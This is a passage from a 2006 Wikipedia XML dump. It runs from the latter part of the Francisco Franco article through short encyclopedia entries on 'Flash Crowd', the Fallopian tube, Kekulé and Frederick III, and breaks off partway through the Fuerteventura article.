His army was supported by troops from [[Nazi Germany]] (the [[Condor Legion]]) and, above all, [[Fascist]] [[Italy]] (''[[Corpo Truppe Volontarie]]''), but the degree of influence of both powers on Franco's direction of war seems to have been very limited. [[António de Oliveira Salazar]]'s [[Portugal]] also openly assisted the Nationalists from the start.

===Political command===
He managed to fuse the [[ideologically]] incompatible national-syndicalists [[Falange]] (&quot;[[phalanx]]&quot;, a [[far-right]] Spanish [[political party]] with ideology similar to that of [[Mussolini]]'s movement) and the [[Carlism|Carlist]] monarchist parties under his rule. 

From early [[1937]] every death sentence had to be signed (or acknowledged) by Franco.

===The end of the war===
On [[March 4]][[1939]] an upraising broke out within the Republican camp, claiming to forestall an intended Communist coup by prime minister Juan Negrín. Led by Colonel [[Segismundo Casado]] and [[Julián Besteiro]], the rebels gained control over [[Madrid]]. They tried to negotiate a settlement with Franco, who refused anything but [[unconditional surrender]]. They gave way; Madrid was occupied on [[March 27]], and the republic fell. The war officially ended on [[April 1]], [[1939]].

During the 1940s, some [[guerrilla warfare|guerrilla]] resistance to Franco was to be found in isolated rural areas such as the [[Val d'Aran]] in [[Catalonia]].

==Spain under Franco==
{{main|Spain under Franco}}
{{wikisourcepar|Relations of Members of the United Nations with Spain}}
{{wikisourcepar|Condecoraciones otorgadas por Francisco Franco a Benito Mussolini y a Adolf Hitler}}

Spain was bitterly divided and economically ruined as a result of the civil war.
 
After the war a very harsh repression began, with hundreds of thousands of summary executions, an unknown number of political prisoners and thousands of people in exile, largely in France and Latin America. The 1940 shooting of the president of the [[Generalitat de Catalunya|Catalan government]], [[Lluís Companys]], was one of the most notable cases of this early repression, while the major groups targeted were real and suspected [[leftists]], ranging from the moderate, democratic left to [[Communists]] and [[Anarchists]], the Spanish [[intelligentsia]], [[atheists]] and military and government figures that had remained loyal to the Madrid government during the war. The bloodshed in Spain did not end with the cessation of hostilities, many political prisoners suffered execution by the fire squad, because of the accusation of treason.

In September 1939, [[World War II]] broke out in Europe, and although [[Adolf Hitler]] met Franco in [[Hendaye]], France ([[October 23]], [[1940]]), to discuss Spanish entry on the side of the [[Axis Powers|Axis]], Franco's demands (food, military equipment, [[Gibraltar]], [[French North Africa]], etc.) proved too much and no agreement was reached. Contributing to the disagreement was an ongoing dispute over German mining rights in Spain. Some historians argue that Franco made demands that he knew Hitler would not accede to in order to stay out of the war. Other historians argue that he simply had nothing to offer the Germans. After the collapse of France in June 1940, Spain adopted a pro-Axis non-belligerency stance (for example, he offered Spanish naval facilities to German ships) until returning to complete neutrality in 1943 when the tide of the war had turned decisively against Germany. Some volunteers spanish troops - not stately accepted by Franco -  (''[[División Azul]]'', or &quot;Blue Division&quot;) to fight on the [[Eastern Front (WWII)|Eastern Front]] against the [[comunism]]. During the war Franco's Spain also proved to be a safe haven for 350 000{{citationneeded}} European Jews fleeing from deportation to the concentration camps from occupied France.

With the end of World War II, Franco and Spain were forced to suffer the economic consequences of the isolation imposed on it by nations such as the United Kingdom and the United States. This situation  ended in part when, due to Spain's strategic location in light of [[Cold War]] tensions, the [[United States]] entered into a trade and military alliance with Spain.  This historic alliance commenced with U.S. President [[Dwight D. Eisenhower|Eisenhower]]'s visit in [[1953]] which resulted in the [[Pact of Madrid]]. This launched the so-called &quot;[[Spanish Miracle]],&quot; which developed Spain from [[autarky]] into [[capitalism]]. Spain was admitted in the [[United Nations]] in [[1955]]. In spite of this opening, Franco almost never left Spain once in power.

Lacking any strong ideology, Franco initially sought support from [[National syndicalism]] (''nacionalsindicalismo'') and the [[Roman Catholic Church]] (''nacionalcatolicismo''). His coalition-ruling single party, the [[Movimiento Nacional]], was so heterogeneous as to barely qualify as a party at all, and certainly not an ideological monolith like the Fascio di Combattimento ([[Fascist Party]]) or the ruling block of [[Antonio Salazar]]. His Spanish State was chiefly a conservative&amp;mdash;even traditionalist&amp;mdash;rightist regime, with emphasis on order and stability, rather than a definite political vision.

In [[1947]] Franco proclaimed Spain a [[monarchy]], but did not designate a monarch. This gesture was largely done to appease monarchist factions within the Movimiento. Although a self-proclaimed monarchist himself, Franco had no particular desire for a king. As such, he left the throne vacant, with himself as ''de facto'' [[regent]]. He wore the uniform of a captain general (a rank traditionally reserved for the King), resided in the Pardo Palace, appropriated the kingly privilege of walking beneath a [[baldachin|canopy]], and his portrait appeared on most Spanish coins. Indeed, although his formal titles were ''Jefe del Estado'' (Chief of State) and ''Generalísimo de los Ejércitos Españoles'' (Highest General of the Spanish Armed Forces), he was referred to as ''por la gracia de Dios, Caudillo de España y de la Cruzada'', or &quot;by the grace of God, the Leader of Spain and of the Crusade&quot; (&quot;[[by the grace of God]]&quot; is a technical, legal phrase which indicates sovereign dignity in [[absolute monarchy|absolute monarchies]], and is only used by monarchs).

During his rule non-government [[trade union]]s and all political opponents across the [[political spectrum]], from [[communism|communist]] and [[anarchism|anarchist]] organizations to [[liberal democracy|liberal democrats]] and [[Catalan nationalism|Catalan]] or [[Basque nationalism|Basque]] nationalists, were suppressed. The only legal &quot;trade union&quot; was the government-run [[Sindicato Vertical]].

In order to build a uniform Spanish nation, the public usage of languages other than [[Spanish language|Spanish]] (especially [[Catalan language|Catalan]], [[Galician language|Galician]] and [[Basque language]]s) was strongly repressed. [[Language politics in Francoist Spain]] stated that all government, notarial, legal and commercial documents were drawn up exclusively in Spanish and any written in other languages were deemed null and void. The usage of other than Spanish languages was banned on road and shop signs, advertising and in general all exterior images of the country. 

All cultural activities were subject to [[censorship]], and many were plainly forbidden on various, many times spurious, grounds (political or moral). This cultural policy relaxed with time, most notably after 1960. 

The enforcement by public authorities of strict [[Catholic]] social [[mores]] was a stated intent of the regime, mainly by using a law (the ''Ley de Vagos y Maleantes'', Vagancy Act) enacted by [[Manuel Azaña|Azaña]] [http://search.boe.es/g/es/bases_datos/tifs.php?coleccion=gazeta&amp;anyo=1933&amp;nbo=217&amp;lim=A&amp;pub=BOE&amp;pco=874&amp;pfi=877].
The remaining nomads of Spain ([[Gitano]]s and [[Merchero]]s like [[El Lute]]) were especially affected.

In [[1954]], [[homosexuality]] and [[prostitution]] were, through this law, made criminal offenses.
[http://search.boe.es/datos/imagenes/BOE/1954/198/A04862.tif]. Its application was inconsistent.

In every town there was a constant presence of ''[[Guardia Civil (Spain)|Guardia Civil]]'', a military police force, who patrolled in pairs with [[submachine gun]]s, and functioned as his chief means of control. He was constantly obsessed with a [[Freemasonry|Masonic]] conspiracy. In popular imagination, he is often remembered as in the black and white images of ''[[No-Do]]'' [[newsreel]]s, inaugurating a [[reservoir (water)|reservoir]], hence his nickname ''Paco Ranas'' (Paco&amp;mdash;a familiar form of Francisco&amp;mdash;&quot;the Frog&quot;), or catching huge fish from the '''Azor''' yacht during his holidays.

[[Image:Tomb_of_francisco_franco.jpg|thumb|250px|left|Franco's tomb is incidentally located at his monumental [[Monumento Nacional de Santa Cruz del Valle de los Caidos|Santa Cruz del Valle de los Caídos]], a memorial to all casualties of Spanish Civil War, from 1940 onwards]]
Famous quote: &quot;Our regime is based on bayonets and blood, not on hypocritical elections.&quot; 

In [[1968]], due to the United Nations' pressure on Spain, Franco granted [[Equatorial Guinea]] its independence.

In [[1969]] he designated Prince [[Juan Carlos I of Spain|Juan Carlos de Borbón]] with the new title of Prince of Spain as his successor. This came as a surprise for the [[Carlism|Carlist]] pretender to the throne, as well as for Juan Carlos's father, [[Juan de Borbón|Don Juan, the Count of Barcelona]], who technically had a superior right to the throne. By [[1973]] Franco had given up the function of [[prime minister]] (''Presidente del Gobierno''), remaining only as head of the country and as commander in chief of the military forces. As his final years progressed tension within the various factions of the Movimiento would consume Spanish political life, as varying groups jockeyed for position  to control the country's future.

&lt;div id=&quot;Deathdate&quot;&gt;{{note_label|Deathdate|›|none}}
Franco died on [[November 20]], [[1975]], at the age of 82&amp;mdash;the same date as [[José Antonio Primo de Rivera]], founder of the [[Falange]]. It is suspected that the doctors were ordered to keep him barely alive by artificial means until that symbolic date. The historian, Ricardo de la Cierva, says that on the 19th around 6 pm he was told that Franco had already died. Franco is buried at [[Santa Cruz del Valle de los Caídos]], a site built by forced prisoners of the Spanish Civil War as the tomb for anonymous soldiers dead during war. &lt;/div&gt;

==Spain after Franco==
{{main|Spanish transition to democracy}}
Franco's successor as head of state was the current Spanish monarch, [[Juan Carlos I of Spain|Juan Carlos]]. Though much beloved by Franco, the King held liberal political views which earned him suspicion among conservatives who hoped he would continue Franco's policies. Instead, Juan Carlos would proceed to restore democracy in the nation, and help crush an [[23-F|attempted military coup]] in 1981.

Since Franco's death, almost all the placenames [[personality cult|named after him]] (most Spanish towns had a '''calle del Generalísimo''') have been changed. This holds particularly true in the regions ruled by parties heir to the Republican side, while in other regions of central Spain rulers have preferred not to change such placenames, arguing they would rather ''not stir the past''. Most statues or monuments of him have also been removed, and the last one standing in the capital, Madrid, was removed in March 2005.

He was [[canonization|declared a saint]] by Pope Gregory XVII ([[Clemente Domínguez y Gómez]]) of the [[Palmarian Catholic Church]], a right-wing Catholic mysticalist [[sect]] largely based in Spain.  Franco's canonization is not recognized by the mainstream [[Roman Catholic Church]].

== Franco in Culture ==

The famous [[Saturday Night Live]] Skit Weekend Report when it began in 1975 had [[Chevy Chase]] saying &quot;[[Generalissimo Francisco Franco is still dead]]&quot;!

===Franco in the movies===
* ''[[Raza]]'': based on a script by &quot;Jaime de Andrade&quot; (Franco himself), it's the semi-autobiographical story of a military officer played by [[Alfredo Mayo]].
* ''[[Dragón Rapide]]'' ([[1986]]): played by [[Juan Diego (actor)|Juan Diego]]
* ''[[Madregilda]]'' ([[1993]]): played by [[Juan Echanove]]
* ''[[Operación gónada]]'' ([[2000]]): played by [[Javier Deltell]]
* ''[[¡Buen Viaje, Excelencia!]]'' ([[2003]]): played by [[Ramon Fontserè]]
* ''[[Cinema mil]]'' ([[2005]], TV): played by [[Juan Echanove]]

==Notes==
#{{note|Mussolini1}} [[:wikisource:Speech delivered by Premier Benito Mussolini. Rome, Italy, February 23, 1941|Speech delivered by Premier Benito Mussolini. Rome, Italy, February 23, 1941]]

==See also==
* [[History of Spain]]
* [[Spain under Franco]]
* [[Generalissimo Francisco Franco is still dead]]
* [[Ramón Serrano Súñer]]
* [[Luis Carrero Blanco]]
* [[Emilio Mola]]
* [[Spanish Legion]]
* [[Language politics in Francoist Spain]]

==External links==
*[http://www.fuenterrebollo.com/Gobiernos/general-franco.html Biographical page in Spanish about &quot;Francisco Franco&quot;]
*[http://www.ferrol-concello.es/eng/cometoferrol/discoverus/celebrities/franco.html Biography] at El Ferrol official site.
*[http://www.fnff.org/ Fundación Nacional Francisco Franco] (in Spanish with [http://www.ctv.es/USERS/fnff/indexeng.htm English-language start page]). A memorial foundation led by Franco's family, holding lots of documentation.
* {{imdb name|id=0290542|name=Francisco Franco}}. He wrote the script for ''Raza'' under the name &quot;Jaime de Andrade&quot;.
*[http://www.spartacus.schoolnet.co.uk/2WWfranco.htm Franco Biography] From Spartacus Educational.
*[http://hitlerstoppedbyfranco.com/home.htm Hitler Stopped by Franco]

{{start box}}
{{succession box|title=[[President of the Government of Spain (list)|President of the Government of Spain]]|before=[[Juan Negrín]]|after=[[Luis Carrero Blanco]]|years=[[1939]]&amp;ndash;[[1973]]}}
{{succession box one to two|title2=[[List of Spanish monarchs|Spanish Head of State]]|title1=[[President of Spain]]|before=[[Manuel Azaña]]|after2=[[Juan Carlos I of Spain|Juan Carlos I]]|after1=Monarchy reinstated with vacant throne; Franco acts as ''de facto'' [[regent]]|years2=[[1939]]&amp;ndash;[[1975]]|years1=[[1939]]&amp;ndash;[[1947]]}}
{{end box}}


[[Category:1892 births|Franco Bahamonde, Francisco]]
[[Category:1975 deaths|Franco Bahamonde, Francisco]]
[[Category:Anti-communism|Franco Bahamonde, Francisco]]
[[Category:Cold War|Franco Bahamonde, Francisco]]
[[Category:Francoist Spain|Franco Bahamonde, Francisco]]
[[Category:Galicia (Spain)|Franco Bahamonde, Francisco]]
[[Category:Galician people|Franco Bahamonde, Francisco]]
[[Category:Heads of state in Spain|Franco Bahamonde, Francisco]]
[[Category:History of Europe|Franco Bahamonde, Francisco]]
[[Category:History of Galicia|Franco Bahamonde, Francisco]]
[[Category:Roman Catholic politicians|Franco Bahamonde, Francisco]]
[[Category:Spanish Civil War people|Franco Bahamonde, Francisco]]
[[Category:Spanish generals|Franco Bahamonde, Francisco]]
[[Category:Spanish politicians|Franco Bahamonde, Francisco]]
[[Category:World War II political leaders|Franco Bahamonde, Francisco]]

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[[gl:Francisco Franco Bahamonde]]
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[[no:Francisco Franco]]
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[[ru:Франко, Франсиско]]
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[[uk:Франко Франциско]]
[[zh:弗朗西斯科·佛朗哥]]</text>
    </revision>
  </page>
  <page>
    <title>Flash Crowd</title>
    <id>11467</id>
    <revision>
      <id>41202673</id>
      <timestamp>2006-02-25T19:30:36Z</timestamp>
      <contributor>
        <ip>71.9.16.193</ip>
      </contributor>
      <text xml:space="preserve">'''&quot;Flash Crowd&quot;''' was a [[1973]] short story by [[science fiction author]] [[Larry Niven]], one of a series about the social consequence of inventing an instantaneous, practically free [[transfer booth]]s that could take one anywhere on [[Earth]] in milliseconds.

One consequence not predicted by the builders of the system, was that with the almost instantaneous reporting of newsworthy events, tens of thousands of people worldwide would flock to the scene of anything interesting &amp;mdash; along with criminals, hoping to experience or exploit the instant disorder and confusion so created.

Larry Niven anticipated the phenomenon known as a [[Flash mob]] thirty years before it became reality. The only change of the idea in real life was: instead of instant teleportation the crowds organized themselves by [[instant messaging]] and the [[Internet]].

In various other books, for example ''[[Ringworld]]'', Larry Niven suggests that easy transportation might be disruptive to traditional behaviour and open the way for new forms of parties, spontaneous congregations or shopping trips around the world. 

==Other reading==

*&quot;Flash Crowd&quot; is on pages 99-164 of the paperback edition of &lt;CITE&gt;The Flight of the Horse&lt;/CITE&gt;, copyright 1973 by Larry Niven.  The story (or parts of it) was originally published as &quot;Flash Crowd&quot; in &lt;CITE&gt;Three Trips in Time and Space&lt;/CITE&gt;, copyright 1973 by Robert Silverberg, ed.

*&quot;The Last Days of the Permanent Floating Riot Club&quot; is on pages 41-52 of the paperback edition of &lt;CITE&gt;A Hole in Space&lt;/CITE&gt;, copyright 1974 by Larry Niven.

*Other stories in this series are in these two books, and in &lt;CITE&gt;All the Myriad Ways&lt;/CITE&gt;.

==On the web==
On the [[World Wide Web]], a similar phenomenon can occur, when a web site catches the attention of a large number of people, and gets an unexpected and overloading surge of traffic.   A notorious example is the [[Slashdot effect]]. See [http://www.useit.com/hotlist/spotlight2001.html hints] how to deal with flash crowds (search for crowds keyword).

==See also==
* [[Flash mob]], real-life phenomenon invoving crowds gathering suddenly (without the benefit of teleportation), practical implementation of Flash Crowds.
* [[Slashdot effect]], analogous phenomenon in the context of web traffic. To support online democracy the Webmobs social software supports visibility of the Flash Crowd. 

[[category:Science fiction short stories]]</text>
    </revision>
  </page>
  <page>
    <title>Fallopian tube</title>
    <id>11468</id>
    <revision>
      <id>39603010</id>
      <timestamp>2006-02-14T16:21:09Z</timestamp>
      <contributor>
        <username>Chlewbot</username>
        <id>620581</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sl</comment>
      <text xml:space="preserve">[[Image:Fem isa 2.gif|right|thumb|300px|Female internal reproductive anatomy]]

The '''Fallopian tubes''', also known as '''oviducts''' and '''uterine tubes''', are two very fine tubes leading from the [[ovaries]] of female [[mammal|mammals]] into the [[uterus]]. They are named after their discoverer, the [[16th century]] [[Italy|Italian]] anatomist, [[Gabriele Falloppio]].

There are two Fallopian tubes, attached to either side of the [[cranial]] end of the uterus, and each terminating at or near one ovary forming a structure called the [[fimbria]].

When an [[ovum]] is developing in an ovary, it is encapsulated in a sac known as an [[ovarian follicle]]. On maturity of the ovum, the follicle and the ovary's wall rupture, allowing the ovum to escape and enter the Fallopian tube. There it travels toward the uterus, pushed along by movements of [[cilia]] on the inner lining of the tubes. This trip takes hours or days.  If the ovum is [[fertilisation|fertilized]] while in the Fallopian tube, then it normally implants in the [[endometrium]] when it reaches the uterus, which signals the beginning of [[pregnancy]]. Occasionally the embryo implants into the Fallopian tube instead of the uterus, creating an [[ectopic pregnancy]].

[[Image:Female anatomy frontal.png|right|Schematic frontal view of female anatomy]]
The Fallopian tubes are ''not'' [[homologous]] to the [[vas deferens]] or any other structure in males. [[Embryo]]s have ''two'' pairs of ducts to let [[gamete]]s out of the body; one pair develops in females into the Fallopian tubes, uterus and [[vagina]], while the other pair develops in males into the [[epididymis]] and vas deferens. Normally, only one of the pair of tubes will develop while the other regresses and disappears ''in utero''.

The Fallopian tubes are not directly attached to the ovaries, but open into the [[peritoneum|peritonial cavity]] (essentially the inside of the abdomen); they thus form a direct communication between the peritoneal cavity and the outside via the vagina.

The surgical removal of a Fallopian tube is called a [[salpingectomy]].

In [[human]]s, the Fallopian tubes are about 7&amp;ndash;14 cm long.

==See also==
* [[pelvic inflammatory disease]]
* [[menstrual cycle]]

{{reproductive_system}}

[[Category:Female reproductive system]]
[[Category:Eponymous anatomical structures]]
[[Category:Gynecology]]
[[Category:Pelvis]]

[[cs:Vejcovod]]
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[[es:Trompa de Falopio]]
[[it:Tuba (anatomia)]]
[[he:חצוצרה (איבר)]]
[[lt:Kiaušintakis]]
[[nl:Eileider]]
[[pl:Jajowód]]
[[pt:Trompas de falópio]]
[[sl:Jajcevod]]</text>
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  <page>
    <title>Friedrich August Kekulé von Stradonitz</title>
    <id>11469</id>
    <revision>
      <id>42042408</id>
      <timestamp>2006-03-03T11:51:34Z</timestamp>
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      <minor />
      <comment>robot  Adding: ko Modifying: pl</comment>
      <text xml:space="preserve">:''For the genealogist and son of Friedrich August Kekulé von Stradonitz, see [[Stephan Kekulé von Stradonitz]]''

[[Image:Frkekulé.jpg|framed|Friedrich August Kekulé von Stradonitz]]

'''Friedrich August Kekulé von Stradonitz''' ([[September 7]], [[1829]] &amp;ndash; [[July 13]], [[1896]]) was a [[Germany|German]] [[organic chemistry|organic chemist]].

He was born in [[Darmstadt]] to an old [[Bohemia]]n noble family. He was professor at [[Ghent]] ([[1858]]-[[1865]]) and at [[Bonn]]. He studied various [[carbon]] compounds, especially [[benzene]], proposing a carbon ring for its structure. In [[1857]] Kekulé proposed that carbon was [[valence (chemistry)|tetravalent]].

He wrote that he discovered the ring shape of the [[benzene]] molecule after dreaming of a [[snake]] seizing its own tail, a common symbol in many ancient cultures known as the [[Ouroboros]]. This dream came to him after years of studying the nature of carbon-carbon bonds. Kekulé claimed to solve the problem of how carbon atoms could bond to up to four other atoms at the same time.  While his claims were well publicized and accepted, by the early 1920s Kekulé's own biographer came to the conclusion that Kekulé's understanding of the tetravalent nature carbon bonding depended on the previous research of [[Archibald Scott Couper]] (1831-1892); further, the German Chemist [[Josef Loschmidt]] (1821-1895) had earlier posited a cyclic structure for benzene as early as 1862, although he had not actually proved this structure to be correct. 

In 1895 Kekulé was ennobled by Kaiser [[Wilhelm II of Germany]], giving him the right to add &quot;von Stradonitz&quot; to his name, referring to an ancient possession of his family in Stradonice, Bohemia.  Of the first five [[Nobel Prize]]s in Chemistry, his students won three. 

== See also ==
=== Other articles ===
*[[Benzene]]
*[[Non-Kekulé molecule]]
*[[Scientific mythology]]
*[[Cryptomnesia]]&amp;nbsp;&amp;mdash;an analysis of Kekulé's dream 

== External links ==

* [http://classes.yale.edu/chem125a/125/history99/5Valence/Couper/Couper.html Couper and Carbon bonds]
* [http://classes.yale.edu/chem125a/125/history99/5Valence/Kekule/Kekule.html Kekule, Couper and dreams of Benzene]
* [http://www.physicstoday.org/pt/vol-54/iss-3/p45.html Josef Loschmidt, Physicist and Chemist]
* [http://www.physicstoday.org/pt/vol-54/iss-3/captions/p45cap4.html Loschmidt's Benzene structure]
* [http://www.sgipt.org/th_schul/pa/kek/pak_kek0.htm Kekulés Traum] (Kekulé's dream, in German)
* [http://www.infoplease.com/ce6/people/A0827300.html Pronunciation of Kekulé]

[[Category:1829 births|Kekulé von Stradonitz, Friedrich August]]
[[Category:1896 deaths|Kekulé von Stradonitz, Friedrich August]]
[[Category:German chemists|Kekulé von Stradonitz, Friedrich August]]
[[Category:German scientists|Kekulé von Stradonitz, Friedrich August]]

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[[zh:凯库勒]]</text>
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  </page>
  <page>
    <title>Fibonacci sequence</title>
    <id>11470</id>
    <revision>
      <id>15909214</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fibonacci number]]
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  <page>
    <title>Frederick III, Holy Roman Emperor</title>
    <id>11472</id>
    <revision>
      <id>37205467</id>
      <timestamp>2006-01-29T12:19:53Z</timestamp>
      <contributor>
        <username>This user has left wikipedia</username>
        <id>799615</id>
      </contributor>
      <comment>fixed</comment>
      <text xml:space="preserve">[[Image:Emperorfrederickiii.jpeg|thumb|250px|Detail of &quot;Aeneas Piccolomini Introduces Eleonora of Portugal to Frederick III&quot; by Pinturicchio (1454-1513)]]

'''Frederick III''' of [[Habsburg]] ([[Innsbruck]], [[September 21]] [[1415]] &amp;ndash; [[August 19]], [[1493]] in [[Linz]]) was elected as [[King of the Romans|German King]] as the successor of [[Albert II, Holy Roman Emperor|Albert II]] in [[1440]]. He was the son of Duke [[Ernest of Austria (Habsburg)|Ernest the Iron]] from the [[Leopoldinian line]] of the Habsburg family ruling ''Inner Austria'', i.e. [[Styria (duchy)|Styria]], [[Carinthia (duchy)|Carinthia]] and [[Carniola]], and of his wife [[Cymburgis of Masovia]]. As an [[Austrian]] Habsburg Duke, he became '''Frederick V''' in [[1424]], and '''Frederick IV''' as Geman king, and then '''Frederick III''' with his coronation as [[Holy Roman Emperor]]. He married in [[1452]], at age 37, the 18-year-old Princess [[Leonor of Portugal (1434-1467)|Eleonore of Portugal]], whose dowry helped him to alleviate his debts and cement his power.

In [[1446]], he entered into the ''[[Vienna Concordat]]'' with the [[Holy See]], which remained in force until [[1806]] and regulated the relationship between the Habsburgs and the Holy See.

Frederick was the last Emperor to be crowned in Rome, being crowned in [[1452]] by [[Pope Nicholas V]]. He opposed the reform of the [[Holy Roman Empire]] at that time and was barely able to prevent the [[prince-elector|electors]] from electing another king.

His politics were hardly spectacular but still successful. His first major opponent was his brother [[Albert VI of Austria|Albert VI]], who challenged his rule. He did not manage to win a single conflict on the battlefield, and thus resorted to more subtle plans. He held his nephew [[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus Posthumus]], the ruler of Austria proper, Hungary and Bohemia, (born in [[1440]]) as a prisoner and attempted to extend his guardianship over him in perpetuity to maintain his control over [[Lower Austria]]. Ladislaus was freed in [[1452]] by the Lower Austrian estates. He acted similarly towards his nephew [[Sigismund of Austria|Sigismund]] of the Tyrolian line of the Habsburg family. Despite those efforts, he failed to gain control over [[Kingdom of Hungary|Hungary]] and [[Bohemia]], and was even defeated by the Hungarian King [[Matthias Corvinus]] in [[1485]], who manged to reside in [[Vienna]] until his death later that year. Ultimately, Frederick prevailed in all those conflicts by outliving his opponents and sometimes inheriting their lands from, such as in the case of his nephew Ladislaus Posthumus, from whom he gained Lower Austria in [[1457]], and his brother Albert VI, whom he succeeded in [[Upper Austria]]. These conflicts forced him to an anachronistic itinerant existence, as he had to move his court between various place through the years, residing in [[Graz]], [[Linz]] and [[Wiener Neustadt]]. Wiener Neustadt owes him its castle and the &quot;New Monastary&quot;.

Still, in some ways his policies were astonishingly successful. In the Siege of [[Neuss]], he could force [[Charles the Bold]] of Burgundy to give his daughter [[Mary of Burgundy]] as wife to Frederick's son [[Maximilian I, Holy Roman Emperor|Maximilian]]. With the inheritance of Burgundy, the House of [[Habsburg]] began to rise to predominance in Europe. This gave rise to the saying &quot;Let others wage wars, but you, happy Austria, shall marry&quot;, which became a motto of the dynasty.

The marriage of his daughter [[Kunigunde of Austria]] to [[Albert IV, Duke of Bavaria]], was another result of intrigues and deception, but rather a defeat for Frederick. Albert had illegally taken control over some imperial [[fief]]s, asked to marry Kunigunde (who lived in [[Innsbruck]], far from her father) and offered the Emperor to give the fiefs to the daughter as a dowry. Frederick agreed, but withdrew his approval when Albert also took control of [[Regensburg]]. Before the daughter learned of this, Albert had married her on [[January 2]], [[1487]]. A war could be prevented only by intermediation by the Emperor's son, Maximilian. 

In some smaller issues, Frederick was quite successful: in [[1469]] he managed to establish [[bishopric]]s in [[Vienna]] and [[Wiener Neustadt]], in which all previous Dukes of Austria had failed over the centuries.

Frederick died in a failed attempt to have his left leg amputated. His grave, built by [[Niclaes Gerhaert van Leyden]], in the [[Stephansdom]] in Vienna is one of the most important works of sculptural art of the late middle ages.

For the last ten years of Frederick's life, he and Maximilian ruled jointly.

{{start box}}
|-
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;2&quot;| Preceded by:&lt;br&gt;'''[[Albert II of Habsburg|Albert II]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[List of German Kings and Emperors|King of Germany]]'''&lt;br&gt;[[1440]]&amp;ndash;[[1493]]
| width=&quot;30%&quot; align=&quot;center&quot; rowspan=&quot;4&quot;| Succeeded by:&lt;br&gt;'''[[Maximilian I, Holy Roman Emperor|Maximilian I]]'''
|-
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[Holy Roman Emperor]]'''&lt;br&gt;[[1452]]&amp;ndash;[[1493]]
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br&gt;'''[[Ernest of Austria (Habsburg)|Ernest the Iron]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''Duke of [[Styria (duchy)|Styria]], [[Carinthia (duchy)|Carinthia]] and [[Carniola]]&lt;br&gt;co-regent: [[Albert VI of Austria|Albert VI]]'''&lt;br&gt;[[1424]]&amp;ndash;[[1493]]
|-
| width=&quot;30%&quot; align=&quot;center&quot; | Preceded by:&lt;br&gt;'''[[Ladislaus Posthumus of Bohemia and Hungary|Ladislaus Posthumus]]'''
| width=&quot;40%&quot; align=&quot;center&quot; | '''[[List of rulers of Austria|Archduke of Austria]]&lt;br&gt;co-regent: [[Albert VI of Austria|Albert VI]]'''
{{end box}}

[[Category:1415 births|Frederick III, Holy Roman Emperor]]
[[Category:1493 deaths|Frederick III, Holy Roman Emperor]]
[[Category:Holy Roman emperors]]
[[Category:German Kings]]
[[Category:Rulers of Austria]]
[[Category:Rulers of Styria]]
[[Category:Dukes of Carinthia]]
[[Category:Knights of the Garter]]
[[Category:Knights of the Golden Fleece]]

[[de:Friedrich III. (HRR)]]
[[et:Friedrich III (Saksa-Rooma keiser)]]
[[es:Federico III de Habsburgo]]
[[fr:Frédéric III du Saint-Empire]]
[[nl:Frederik III van het Heilige Roomse Rijk]]
[[ja:フリードリヒ3世 (神聖ローマ皇帝)]]
[[pl:Fryderyk III Habsburg]]
[[sv:Fredrik III (tysk-romersk kejsare)]]
[[uk:Фрідріх III Габсбург]]
[[zh:腓特烈三世 (神圣罗马帝国)]]</text>
    </revision>
  </page>
  <page>
    <title>Famous programmer</title>
    <id>11473</id>
    <revision>
      <id>15909217</id>
      <timestamp>2003-02-20T12:35:06Z</timestamp>
      <contributor>
        <username>Egil</username>
        <id>7457</id>
      </contributor>
      <comment>Double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of programmers]]</text>
    </revision>
  </page>
  <page>
    <title>Fuerteventura</title>
    <id>11475</id>
    <revision>
      <id>41236932</id>
      <timestamp>2006-02-25T23:58:13Z</timestamp>
      <contributor>
        <ip>83.154.44.36</ip>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; bgcolor=&quot;#ffffff&quot; cellpadding=&quot;5&quot; align=&quot;right&quot; width=&quot;305&quot; style=&quot;margin-left:3px&quot;
!bgcolor=#e7dcc3 colspan=2|Fuerteventura&lt;!--
|-
|align=center colspan=2|--&gt;
|-
|bgcolor=#e7dcc3|[[Elevation]]:||217 m
|-
|bgcolor=#e7dcc3|[[Latitude]]:||28.33° N (28°20' N)
|-
|bgcolor=#e7dcc3|[[Longitude]]:||14° W
|-
|bgcolor=#e7dcc3|Location:|| eastern and southeastern [[Canary Islands]], [[Spain]]
|-
|bgcolor=#e7dcc3|Area:||1,660 km²
|-
|bgcolor=#e7dcc3|[[List of mountain types|Type]]:|| [[Stratovolcano]]
|-
|bgcolor=#e7dcc3|Last [[eruption]]:|| Unknown
|-
|bgcolor=#e7dcc3|[[First ascent]]:||
|-
|bgcolor=#e7dcc3|Easiest [[mountaineering|route]]:||
|}

'''Fuerteventura''', a [[Spain|Spanish]] [[island]], is one of the [[Canary Islands]], in the [[Atlantic Ocean]] off the coast of [[Africa]]. It is situated at 28°20' north, 14°00' west.

The elongated island has an area of [[1 E9 m²|1660 km²]].   The island is 100 km long from and 31 km wide.  

It is part of the province of [[Las Palmas (province)|Las Palmas]]. It is divided into six [[List of municipalities in Las Palmas|municipalities]]:

*[[Antigua, Las Palmas|Antigua]]
*[[Betancuria, Las Palmas|Betancuria]]
*[[La Oliva, Las Palmas|La Oliva]]
*[[Pájara, Las Palmas|Pájara]]
*[[Puerto del Rosario, Las Palmas|Puerto del Rosario]]
*[[Tuineje, Las Palmas|Tuineje]]
100 individual settlements are distributed through these municipalities. A nearby islet, [[Islote de Lobos]], is part of the municipality of [[La Oliva]].

Located just 100 kilometres off the coast of [[North Africa]], it is the second biggest of the islands, after [[Tenerife]], and has the longest beaches in the archipelago. The island is a paradise for sun, beach and watersports enthusiasts. 
 
The island is widely believed to be the oldest of the [[Canary Islands]]. Its strange form was created out of a series of volcanic eruptions many thousands of years ago.

The first tourist hotel was built here in 1965 followed by the construction of the airport at [[El Mattoral]], heralding the dawn of a new era for the island. Fuerteventura, with its 3,000 sunshine hours a year, was placed firmly on the world stage as a major European holiday destination. 

